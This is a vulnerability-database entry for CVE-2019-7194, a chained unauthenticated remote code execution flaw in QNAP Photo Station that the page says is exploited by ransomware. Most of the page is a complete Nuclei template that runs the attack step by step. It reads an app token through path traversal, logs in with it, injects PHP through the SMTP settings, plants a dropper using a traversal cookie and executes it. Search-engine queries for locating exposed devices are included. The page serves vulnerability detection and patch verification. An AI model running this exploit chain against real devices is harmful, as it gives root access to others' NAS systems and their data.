HexBrain

Browse / CVEs / CVE-2019-7194

CVE-2019-7194· qnap / photo station· CWE-22

QNAP Photo Station < 6.0.3 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-06-08; known to be used by ransomware.

criticalseverity
9.8CVSS score
82.7%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

QNAP Photo Station versions prior to 6.0.3 contain multiple vulnerabilities that, when chained together, enable unauthenticated remote code execution (RCE).

Impact

Unauthenticated attackers can chain multiple vulnerabilities to achieve remote code execution with root privileges, gaining complete control over the QNAP device and access to all stored data.

Fix

Upgrade to QNAP Photo Station version 6.0.3 or later.

How to confirm it

Send: POST /photo/p/api/album.php
Send: GET /photo/slideshow.php?album={{album_id}}
Send: POST /photo/p/api/video.php
Send: POST /cgi-bin/authLogin.cgi
Send: POST /cgi-bin/userConfig.cgi?sid={{nas_sid}}
Send: GET /photo/slideshow.php?album=qsamplealbum
Send: GET /photo/{{dropper_filename}}.php
Positive when: status_code == 200 && contains(body, 'NASVARS')

Run it with nuclei: nuclei -id CVE-2019-7194 -u <target>

The full check
id: CVE-2019-7194

info:
  name: QNAP Photo Station < 6.0.3 - Remote Code Execution
  author: x-stp
  severity: critical
  description: |
    QNAP Photo Station versions prior to 6.0.3 contain multiple vulnerabilities that, when chained together, enable unauthenticated remote code execution (RCE).
  impact: |
    Unauthenticated attackers can chain multiple vulnerabilities to achieve remote code execution with root privileges, gaining complete control over the QNAP device and access to all stored data.
  remediation: |
    Upgrade to QNAP Photo Station version 6.0.3 or later.
  reference:
    - https://medium.com/bugbountywriteup/qnap-pre-auth-root-rce-affecting-450k-devices-on-the-internet-d55488d28a05
  classification:
    cvss-score: 9.8
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cve-id: CVE-2019-7194
    cwe-id: CWE-22
    epss-score: 0.82713
    epss-percentile: 0.9967
    cpe: cpe:2.3:a:qnap:photo_station:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: qnap
    product: photo_station
    max-request: 10
    intrusive: true
    shodan-query:
      - content-length:"580 "http server 1.0""
      - http.title:"photo station"
      - http.title:"qnap"
    fofa-query:
      - title="photo station"
      - title="qnap"
    google-query:
      - intitle:"photo station"
      - intitle:"qnap"
  tags: cve,cve2019,qnap,rce,photostation,unauth,injection,lfi,kev,intrusive,vkev,vuln

variables:
  cleanup_payload: "<?php echo php_uname(); unlink(__FILE__); ?>"
  dropper_filename: "{{to_lower(rand_text_alpha(6))}}"
  username: "{{to_lower(rand_text_alphanumeric(6))}}"
  email_account: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"
  email_passwd: "{{rand_text_alphanumeric(12)}}"

flow: |
  http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7)

http:
  # Step 1: Set up a fake album slideshow to obtain a usable album_id
  - raw:
      - |
        POST /photo/p/api/album.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        a=setSlideshow&f=qsamplealbum

    extractors:
      - type: regex
        name: album_id
        group: 1
        internal: true
        regex:
          - "<output>([a-zA-Z0-9]+)</output>"

  # Step 2: Use album_id to get access_code and PHPSESSID from slideshow.php
  - raw:
      - |
        GET /photo/slideshow.php?album={{album_id}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: access_code
        group: 1
        regex:
          - "encodeURIComponent\\('([A-Za-z0-9%]+)'\\)"
        internal: true

      - type: regex
        part: header
        name: phpsessid
        group: 1
        regex:
          - "PHPSESSID=([a-z0-9]+);"
        internal: true

  # Step 3: Use directory traversal to extract application token (app_token)
  - raw:
      - |
        POST /photo/p/api/video.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        a=caption&f=UMGObv&album={{album_id}}&ac={{access_code}}&filename=../../../../../share/Multimedia/.@__thumb/ps.app.token

    extractors:
      - type: regex
        name: app_token
        group: 1
        regex:
          - "([a-f0-9]{32})"
        internal: true

  # Step 4: Authenticate using the app_token to get NAS_SID
  - raw:
      - |
        POST /cgi-bin/authLogin.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        app=PHOTO_STATION&auth=1&app_token={{app_token}}

    extractors:
      - type: regex
        part: body
        name: nas_sid
        group: 1
        regex:
          - '<authSid><!\[CDATA\[([a-z0-9]+)\]\]></authSid>'
        internal: true

  # Step 5: Inject self-deleting PHP payload via SMTP config
  - raw:
      - |
        POST /cgi-bin/userConfig.cgi?sid={{nas_sid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest

        func=addPersonalSmtp&provider_idx=0&sender={{cleanup_payload}}&default=0&smtp_server=0.0.0.0&port=25&security=-1&email_account={{email_account}}&email_passwd={{email_passwd}}

  # Step 6: Trigger slideshow with QMS_SID pointing to dropper path
  - raw:
      - |
        GET /photo/slideshow.php?album=qsamplealbum HTTP/1.1
        Host: {{Hostname}}
        Cookie: QMS_SID=../../../../../../../../../../mnt/ext/opt/photostation2/{{dropper_filename}}.php; PHPSESSID={{phpsessid}}; NAS_SID={{nas_sid}}; DESKTOP=1;

  # Step 7: Execute the dropper (which deletes the file via unlink after poc request)
  - raw:
      - |
        GET /photo/{{dropper_filename}}.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: PHPSESSID={{phpsessid}}; NAS_SID={{nas_sid}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200 && contains(body, 'NASVARS')

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - 'personal_email\|s:\d+:"[^,]*,[^,]*,([^";]+)'

References

Use this check only on systems you are authorised to test. Where the data comes from